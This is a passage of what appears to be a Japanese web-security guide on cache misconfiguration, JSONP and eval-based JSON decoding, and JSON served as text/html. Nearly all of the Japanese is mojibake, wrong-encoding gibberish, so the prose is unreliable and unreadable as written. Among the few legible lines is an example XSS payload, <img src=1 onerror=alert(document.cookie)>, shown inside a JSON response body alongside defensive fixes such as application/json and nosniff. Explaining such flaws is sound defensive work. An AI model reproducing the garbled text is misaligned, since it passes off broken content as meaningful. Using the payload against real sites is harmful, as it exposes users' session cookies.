å ±ãå«ããã€ããŒãžãè¿åŽããããã©ãŠã¶ã«è¡šç€ºãããããšã§å人æ
å ±ãæŒæŽ©ããã
ãŸãããã£ãã·ã¥ãµãŒãåŽã§ãã£ãã·ã¥å¶åŸ¡çšã®ã¬ã¹ãã³ã¹ããããç¡èŠããèšå®ãããŠããå Žåãã¢ããªã±ãŒã·ã§ã³åŽã§é©åãªãã£ãã·ã¥å¶åŸ¡ãå®è£ ããŠããŠãããããç¡èŠãããããšã§ãæå³ããªãåœ¢ã§æ å ±æŒæŽ©ããå Žåãããããããã£ãã·ã¥ãµãŒãåŽã§é©åãªãã£ãã·ã¥èšå®ãè¡ãããšãéèŠã§ããã
以äžã«ããããã£ãã·ã¥ãã¹ãã§ã¯ãªãã³ã³ãã³ãããã£ãã·ã¥ããããšã
- ã¢ããªã±ãŒã·ã§ã³åŽã®ãã£ãã·ã¥å¶åŸ¡äžå
- ãã£ãã·ã¥ãµãŒãåŽã®ãã£ãã·ã¥èšå®ãã¹
- ã¢ããªã±ãŒã·ã§ã³åŽã§é©åãªãã£ãã·ã¥å¶åŸ¡çšã®ã¬ã¹ãã³ã¹ããããèšå®ãã
- ãã£ãã·ã¥ãµãŒãã§é©åãªãã£ãã·ã¥èšå®ãè¡ã
JSONãã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãã§äœ¿çšãããJSONPã䜿çšããéã«ãeval
颿°ã䜿çšããJSONã®ãã³ãŒãããJSONçææã®ãšã¹ã±ãŒãåŠçã«äžåãååšããå Žåãäžæ£ãªJavaScriptãå®è¡ãããå¯èœæ§ãããã
- JSONçææã«é©åãªãšã¹ã±ãŒãåŠçããããŠããªã
- JSONã®ãã³ãŒãæã«
eval
颿°ããŸãã¯ããã«çžåœããæ©èœã䜿çšããŠãã - JSONPã䜿çšããŠãã
- JSONã®ãšã³ã³ãŒãã»ãã³ãŒãæã«è匱æ§ã®ãªãã©ã€ãã©ãªã䜿çšãã
- JSONPã䜿çšããªããã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãã®å Žåã¯ãCORSã䜿çšãã
ã¬ã¹ãã³ã¹ããã£ã§JSONãè¿åŽããéã«ã誀ã£ãŠContent-Type: text/html
ãæå®ãããšããã©ãŠã¶ã¯ã¬ã¹ãã³ã¹ãHTMLãšããŠè§£éããããã®çµæããã©ãŠã¶ã«JSONæååãçŽæ¥è¡šç€ºãããJSONå
ã®ä»»æã®ã¹ã¯ãªãããå®è¡ãããå¯èœæ§ãããã
以äžã®ã¬ã¹ãã³ã¹ããã£ïŒæç²ïŒã¯ãã®äžäŸã§ãããJSONæååãHTMLãšããŠãã©ãŠã¶ã«è¡šç€ºãããçµæãç»åèªã¿èŸŒã¿ã®å€±æã«ãããonerror屿§ã«èšå®ãããalert(document.cookie)
ãå®è¡ãããã
Content-Type: text/html; charset=utf-8
{"data" : "<img src=1 onerror=alert(document.cookie)>"}
- äžé©åãªMIMEã¿ã€ãïŒ
Content-Type
ïŒã®äœ¿çš
- é©åãªMIMEã¿ã€ããæå®ãã
âContent-Type: application/json
X-Content-Type-Options: nosniff
ã䜵çšãã
â ãã©ãŠã¶ãContent-Type
以å€ã®æ å ±ïŒãã¡ã€ã«ã®æ¡åŒµåãäžèº«ïŒããMIMEã¿ã€ããæšæž¬ããªãããã«ãã- JSONã§ã
<
ã>
ãªã©ã®HTMLç¹æ®æåããšã¹ã±ãŒããã